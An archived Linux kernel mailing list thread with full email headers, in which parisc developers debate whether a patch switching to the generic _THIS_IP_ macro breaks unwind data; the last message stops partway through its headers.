In-Reply-To: <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=DZT4krlW c=1 sm=0 tr=0 a=VCUqJnZSONuD0ISaPFNHjQ==:17 a=IkcTkHD0fZMA:10 a=dapMudl6Dx4A:10 a=FBHGMhGWAAAA:8 a=hkL0fQ1ZxZnohGXfZUwA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2839161 gmane.linux.ports.parisc:28869
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2839161>

On 2018-08-02 4:31 PM, Nick Desaulniers wrote:
> If I understand your point correctly, is it that you're saying that
> _THIS_IP_  should be implemented in terms of inline assembly (as in
> what current_text_addr() is currently)?  If that's what you mean and
> I'm understanding correctly, my point is that we should be preferring
> the generic C implementation as that's what's being used in most
> places currently, so if it was broken you'd likely already know about
> it.  Unless unwinding is truly broken by the additional label, I don't
> think we need an inline assembly implementation of current_text_addr()
> for parisc (or any arch for that matter).  If we do, then it can be
> localized to the parisc unwinding code, that way it can be
> consolidated everywhere else for every other arch.
The label breaks the unwind data, not the unwind code.  So, localizing 
the use of
current_text_addr() to the parisc unwind code doesn't help.

Personally, I prefer the implementation of current_text_addr() because:

1) The generated code is smaller, and
2) it doesn't introduce any unnecessary labels into the text.

As noted, these labels can cause issues with unwinding.

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions
Date: Fri, 3 Aug 2018 11:11:28 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <CAKwvOdmDwO1U1sk=3-6zXFrVw6by1e_9VBx1WWMCx_rMqYSw-A@mail.gmail.com>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net> <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net> <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net> <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
 <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net> <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
 <80743c1c-2a8c-7bce-2068-24c63790eba7@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1533319778 25965 195.159.176.226 (3 Aug 2018 18:09:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Aug 2018 18:09:38 +0000 (UTC)
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: dave.anglin@bell.net
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Aug 03 20:09:33 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fleW5-0006e0-5d
	for glk-linux-kernel-4@m.gmane.org; Fri, 03 Aug 2018 20:09:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1730730AbeHCUJE (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 3 Aug 2018 16:09:04 -0400
Original-Received: from mail-pl0-f66.google.com ([209.85.160.66]:37721 "EHLO
        mail-pl0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727819AbeHCUJE (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 3 Aug 2018 16:09:04 -0400
Original-Received: by mail-pl0-f66.google.com with SMTP id d5-v6so2901416pll.4
        for <linux-kernel@vger.kernel.org>; Fri, 03 Aug 2018 11:11:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=6m5Qbo5W22J5DKCFCd71EHj506kxxwkxa3cOmV7lW6g=;
        b=fSy5OCHGQaSBIm9Oa4MnYzBEmVLzvP5qSKh4eA7038xW7zgNnu168pu4MT22JpSyXJ
         6xmxErITKED6c4Zt+aMSxOkmIPa0RN7ARuSIMRR7slS8hkWzSzG7+28nPs0Z/4lnYPsV
         4yhlQirBWKk/po1f/Y37oJ1XqpQwIqjGKLxwh3sBcJ8tJIuz9DLpc7YyzKJlsS31dUEF
         YEjP2YMByFdZc9w05nPyE/9Onb7WMN0N99+ME87BDGA0YGV8n4B7960sVz27Hc6VvtIc
         x4UxbePXu2wHYGq5zCGlLOsJK88k2gS41svPp40zo4VnFmBBq+AgpefS/Oj51qzLdSPH
         ytJA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=6m5Qbo5W22J5DKCFCd71EHj506kxxwkxa3cOmV7lW6g=;
        b=YYWNkGgIbfYe5wa82kHaPoerz6iPFl76tz6PdTDBWph4ujgANUVA8BJdYLJoHY/voh
         Pg4mumkbn/kNc4qxDdn0oK6DLKHzB62QMcbXvg1DKR1De2eJ82K3JVWjXeb2GZDcJIBl
         2XkgTfXJ1V4dPYDSDizPe3T4rrjUMKsl0wr72ZgwNJt5x0jga1J3axUyVDhurnDGaOt2
         GYJIKhkeppW4t2CFNGqGFaILKzJe79vsa7JjtekSKCibPhWM4HYT8WW/cqb/IL40TbOe
         rCgbE4hQm+fzz3/wnPFMA7Hmxupt/PXndc+dTpuXSTuBAcPbX5RwikR6AOCsvODs7fqr
         RA9A==
X-Gm-Message-State: AOUpUlGJQK+eYtgA/AgizqEbAL7PlXfQ+peEBuryrlXrK8N9RBjZ49FN
        JdH8Vf5/jU8bTXXuXfEC9l+TteUOtpX909gStxt3Vw==
X-Google-Smtp-Source: AAOMgpfC8ubZGAeYBi0crI80aPEhn54Abapqva2ivgRGSooqxDRmUMjJuRxkhNVHOOmkJiBQY6xc2H23/mCiDmNPdtU=
X-Received: by 2002:a17:902:9a01:: with SMTP id v1-v6mr4639012plp.20.1533319899972;
 Fri, 03 Aug 2018 11:11:39 -0700 (PDT)
In-Reply-To: <80743c1c-2a8c-7bce-2068-24c63790eba7@bell.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2839168 gmane.linux.ports.parisc:28870
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2839168>

On Fri, Aug 3, 2018 at 10:57 AM John David Anglin <dave.anglin@bell.net> wrote:
>
> On 2018-08-02 4:31 PM, Nick Desaulniers wrote:
> > If I understand your point correctly, is it that you're saying that
> > _THIS_IP_  should be implemented in terms of inline assembly (as in
> > what current_text_addr() is currently)?  If that's what you mean and
> > I'm understanding correctly, my point is that we should be preferring
> > the generic C implementation as that's what's being used in most
> > places currently, so if it was broken you'd likely already know about
> > it.  Unless unwinding is truly broken by the additional label, I don't
> > think we need an inline assembly implementation of current_text_addr()
> > for parisc (or any arch for that matter).  If we do, then it can be
> > localized to the parisc unwinding code, that way it can be
> > consolidated everywhere else for every other arch.
> The label breaks the unwind data, not the unwind code.  So, localizing
> the use of
> current_text_addr() to the parisc unwind code doesn't help.

But the kernel uses the generic _THIS_IP_ *everywhere*, not parisc's
custom current_text_addr().  So if this did actually break unwinding,
you should have noticed by now.  There's only one call site that uses
the custom current_text_addr(), which is what my patch is addressing.

Localizing the custom implementation would literally produce the same
binary as is produced today, but allow us to start removing all the
other custom implementations of current_text_addr() from
arch/*/include/asm/processor.h, which is why I proposed that as an
alternative to this patch.

> Personally, I prefer the implementation of current_text_addr() because:
>
> 1) The generated code is smaller, and

One instruction vs two, for a single call site that I bet is cold and
not inlined in multiple places.

> 2) it doesn't introduce any unnecessary labels into the text.
>
> As noted, these labels can cause issues with unwinding.

Can you confirm that applying this patch actually breaks unwinding?

-- 
Thanks,
~Nick Desaulniers


From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement
 expressions
Date: Fri, 3 Aug 2018 15:09:57 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <81a7e33a-0403-b6d4-fcba-c2168a608ba6@bell.net>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
 <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net>
 <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net>
 <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
 <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net>
 <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
 <80743c1c-2a8c-7bce-2068-24c63790eba7@bell.net>
 <CAKwvOdmDwO1U1sk=3-6zXFrVw6by1e_9VBx1WWMCx_rMqYSw-A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1533323280 494 195.159.176.226 (3 Aug 2018 19:08:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Aug 2018 19:08:00 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: Nick Desaulniers <ndesaulniers@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Aug 03 21:07:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1flfQU-0008P0-60
	for glk-linux-kernel-4@m.gmane.org; Fri, 03 Aug 2018 21:07:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1730272AbeHCVHd (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 3 Aug 2018 17:07:33 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:50463 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1728246AbeHCVHc (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 3 Aug 2018 17:07:32 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180803190957.ZQZT32387.torfep02.bell.net@torspm02.bell.net>;
          Fri, 3 Aug 2018 15:09:57 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.189]) by torspm02.bell.net
          with ESMTP
          id <20180803190957.QVIY31064.torspm02.bell.net@[192.168.2.49]>;
          Fri, 3 Aug 2018 15:09:57 -0400
In-Reply-To: <CAKwvOdmDwO1U1sk=3-6zXFrVw6by1e_9VBx1WWMCx_rMqYSw-A@mail.gmail.com>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=DZT4krlW c=1 sm=0 tr=0 a=VCUqJnZSONuD0ISaPFNHjQ==:17 a=IkcTkHD0fZMA:10 a=dapMudl6Dx4A:10 a=mDV3o1hIAAAA:8 a=CCpqsmhAAAAA:8 a=FBHGMhGWAAAA:8 a=oo6BvqPr6ModUujxAbAA:9 a=QEXdDO2ut3YA:10 a=3WmcZs0_zLoA:10 a=PMXd7YaJusUA:10 a=66zSKFQpzMcA:10 a=_FVE-zBwftR9WsbkzFJk:22 a=ul9cdbp4aOFLsgKbc677:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2839186 gmane.linux.ports.parisc:28871
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2839186>

On 2018-08-03 2:11 PM, Nick Desaulniers wrote:
> But the kernel uses the generic_THIS_IP_  *everywhere*, not parisc's
> custom current_text_addr().  So if this did actually break unwinding,
> you should have noticed by now.
The unwind problem was noticed.

Patches were recently applied to gcc and binutils to try and fix it.  
The gcc patch moved
branch tables to rodata so that the label at the head of the table 
wasn't in text.

https://gcc.gnu.org/ml/gcc-patches/2018-07/msg01804.html
https://sourceware.org/ml/binutils/2018-07/msg00474.html

When I saw your suggested change, I realized there was another source of 
text labels
that need linker relocations.

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nick Desaulniers <ndesaulniers@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions
Date: Fri, 3 Aug 2018 13:33:50 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <CAKwvOdmXi_EY5=sOO9tRqeoFrHjLsF9L988cGC2yjnFYBxac4w@mail.gmail.com>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net> <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net> <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net> <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
 <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net> <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
 <80743c1c-2a8c-7bce-2068-24c63790eba7@bell.net> <CAKwvOdmDwO1U1sk=3-6zXFrVw6by1e_9VBx1WWMCx_rMqYSw-A@mail.gmail.com>
 <81a7e33a-0403-b6d4-fcba-c2168a608ba6@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1533328321 12016 195.159.176.226 (3 Aug 2018 20:32:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Aug 2018 20:32:01 +0000 (UTC)
Cc: deller@gmx.de, jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
        Alistair Strachan <astrachan@google.com>
To: dave.anglin@bell.net
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Aug 03 22:31:56 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1flgjs-0002z1-3W
	for glk-linux-kernel-4@m.gmane.org; Fri, 03 Aug 2018 22:31:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731885AbeHCWby (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 3 Aug 2018 18:31:54 -0400
Original-Received: from mail-pg1-f196.google.com ([209.85.215.196]:45382 "EHLO
        mail-pg1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1729349AbeHCWby (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 3 Aug 2018 18:31:54 -0400
Original-Received: by mail-pg1-f196.google.com with SMTP id f1-v6so3332099pgq.12
        for <linux-kernel@vger.kernel.org>; Fri, 03 Aug 2018 13:34:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=7pbELVPlEmBFoIK49lGoMM6zfDBfgJOHwwyvMmhHeGI=;
        b=sYpbGUxQ9J5SCqK15dSKFaYspru2fpVAA+mjqWvvjFv+ST8JMMmUlOF/VDM4DNzLkv
         QkJtLhTQNE7jsH46uh1oKTjrbyFYY3vCNCgLWruSYdzJRYmNllXLGoA1LKFIq+3pSbKF
         UVCBpJjoVqMbTVxTs45+0+dyJxwnGr6f+RDq/rwDe/xHvCywEnrRaGgwWOYMxGCyWQm1
         QKpLFJRqfBIELqbse62HCw3bkhl4EfinuNqn03Mxk1OcPIRqY3S2C7JNw9duA43dZw9j
         B7EFdO/iPwwHY9ItDbxs/yyHTQfuG83TfYPaYwbTR2hqU0a1lf2tMS4RYRnW3ihpD2kt
         A8pA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=7pbELVPlEmBFoIK49lGoMM6zfDBfgJOHwwyvMmhHeGI=;
        b=BNpwmg3btaFwGZ3NlW9HBwLaR7mE4K/T4wmZpOcXmJzBM9z+W5tcNVdW8vvtzoH+tk
         J/vEkSOs8buNsUl/bTYEky8I2abs/KJ62udCtfzLYeM22642RAm0pGlCar++0eR1zC7m
         AWOAqBAGn/R+lV95fvTpUqDLtadmVI3rBQqAUJQ8JVBqUiV9FP2AUPQ7aLK6q8QlfRTn
         Q9CKs0IeWqFIlCeCfn0j6W2uiebP9yxxy1S2rS3rcvXyxn5dqBhYnXeyN5WZXp6ah0u8
         YXG7RmADx8um0t51wUGSHfVLyP/pz8XYKNCRIk91N0nvvINspGnDyCzsFQtN+xJoq9pH
         MYnQ==
X-Gm-Message-State: AOUpUlGAgj/pmo7ZN8Lp7Sj+ofX1YLUd144yPVZ6xzYHnA8w28YS/2Rb
        qZBtkvm4em1QttF9yCMJffLu/ASDYsMRCX+R7z2o3A==
X-Google-Smtp-Source: AAOMgpeZve2neMXLcn8OywYnrRp8TBzaWtJ+5Vnwdx9QLpbIhaBCbr/SMf2xK/Kx6VNMPiJCSS28wvOoRx5HAmplHbQ=
X-Received: by 2002:a63:9619:: with SMTP id c25-v6mr5111699pge.75.1533328442239;
 Fri, 03 Aug 2018 13:34:02 -0700 (PDT)
In-Reply-To: <81a7e33a-0403-b6d4-fcba-c2168a608ba6@bell.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2839230 gmane.linux.ports.parisc:28872
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2839230>

On Fri, Aug 3, 2018 at 12:09 PM John David Anglin <dave.anglin@bell.net> wrote:
>
> On 2018-08-03 2:11 PM, Nick Desaulniers wrote:
> > But the kernel uses the generic_THIS_IP_  *everywhere*, not parisc's
> > custom current_text_addr().  So if this did actually break unwinding,
> > you should have noticed by now.
> The unwind problem was noticed.

So parisc is currently broken (doesn't unwind) due to the pervasive
use of _THIS_IP_ (generic C) throughout the kernel?

If no, that implies this patch (generic C) causes no unwinding problems.
If yes, that implies that the diff I posted later in this thread
(inline assembly) is preferable, and that parisc has bigger problems
(and probably needs to do rewrite the unwinding code to handle these
extra labels everywhere).

> Patches were recently applied to gcc and binutils to try and fix it.
> The gcc patch moved
> branch tables to rodata so that the label at the head of the table
> wasn't in text.
>
> https://gcc.gnu.org/ml/gcc-patches/2018-07/msg01804.html
> https://sourceware.org/ml/binutils/2018-07/msg00474.html
>
> When I saw your suggested change, I realized there was another source of
> text labels
> that need linker relocations.

Thank you for the links.

On Fri, Aug 3, 2018 at 10:57 AM John David Anglin <dave.anglin@bell.net> wrote:
> The label breaks the unwind data, not the unwind code.  So, localizing
> the use of
> current_text_addr() to the parisc unwind code doesn't help.

Have you confirmed that applying my patch breaks *the ability to
unwind correctly*? It looks like return_address() is used in
ftrace_return_address(), so I assume you can boot a kernel with my
patch applied, and CONFIG_FTRACE=y, then run:

$ sudo trace-cmd record -p function date
$ trace-cmd report | grep date- | less

and see if the stacks aren't unwound or look messed up.
-- 
Thanks,
~Nick Desaulniers


From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: prefer _THIS_IP_ and _RET_IP_ statement
 expressions
Date: Sat, 4 Aug 2018 00:34:19 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <1d577675-c337-d433-f235-1e46e5d56d4c@gmx.de>
References: <20180801182258.17834-1-ndesaulniers@google.com>
 <78c667f9-5c8b-3835-83eb-4b59e27e4f7e@bell.net>
 <CAKwvOdmdrA+UvAWyqe8sNJt5nxHXHsSwf5Yxih9HYgVL+kovxQ@mail.gmail.com>
 <fe7b57d8-b586-a390-31d2-2274f69db3c0@bell.net>
 <CAKwvOd=CLBFZRQ4HQb_+VCydDEvsbC2w2gD4hTwvp_jm1zqN9Q@mail.gmail.com>
 <54b2139b-53d2-01c5-f240-93a692cdbc59@bell.net>
 <CAKwvOdktvrZL8T_5K2VtQtgt_mscS7kzVXYVy0O7CSuGX53Y5A@mail.gmail.com>
 <536ef1b1-cfa2-f66d-4261-fb8405964632@bell.net>
 <CAKwvOdmwj76aESZNKhzfPmhfzGKvrfDut7oD5KAwA+VR-JukSg@mail.gmail.com>
 <80743c1c-2a8c-7bce-2068-24c63790eba7@bell.net>
 <CAKwvOdmDwO1U1sk=3-6zXFrVw6by1e_9VBx1WWMCx_rMqYSw-A@mail.gmail.com>
 <81a7e33a-0403-b6d4-fcba-c2168a608ba6@bell.net>
 <CAKwvOdmXi_EY5=sOO9tRqeoFrHjLsF9L988cGC2yjnFYBxac4w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1533335569 14738 195.159.176.226 (3 Aug 2018 22:32:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Aug 2018 22:32:49 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: jejb@parisc-linux.org,
        Nathan Chancellor <natechancellor@gmail.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Pravin Shedge <pravin.shedge4linux@gmail.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Greg KH <gregkh@linuxfoundation.org>,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
        Alistair Strachan <astrachan@google.com>
To: Nick Desaulniers <ndesaulniers@google.com>, dave.anglin@bell.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 04 00:32:44 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1flick-0003gm-Kg
	for glk-linux-kernel-4@m.gmane.org; Sat, 04 Aug 2018 00:32:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732079AbeHDAct (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 3 Aug 2018 20:32:49 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:46835 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1731682AbeHDAct (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 3 Aug 2018 20:32:49 -0400
Original-Received: from [192.168.43.192] ([80.187.96.219]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LqALY-1gPA8k0Z4C-00djc1; Sat, 04
 Aug 2018 00:34:22 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <CAKwvOdmXi_EY5=sOO9tRqeoFrHjLsF9L988cGC2yjnFYBxac4w@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K1:yAzJ0t/hyAB+DkGNm6p/76zum8c3ISL5C/1DiDa1+mixbbQFIy7
 hWQFd0cKcdhPQ3YcRxj00URU26O6W1VWA46I23TnA+bwUM3DOWrz5VoXHlGKiBEYEF2Joks
 xpLmCDNDS5TEwuAUFC7BMv1tP5ILEWZbQhniUyozqz7Z3p4n8DGFbUqWNxiOOJ2TpL+WSaY
 MH5yvnX+rBUFf7rtiqPhw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Ak8G7+lxQ9Y=:bmPPkQS0Mngsl1+lVftLVu
 KeFSkONYPXh7q/SUnxMTA74vqF/WI1n+440YgoEHnktkhxzcB5IWyT+LUvLJS/18ltUTnjaDZ
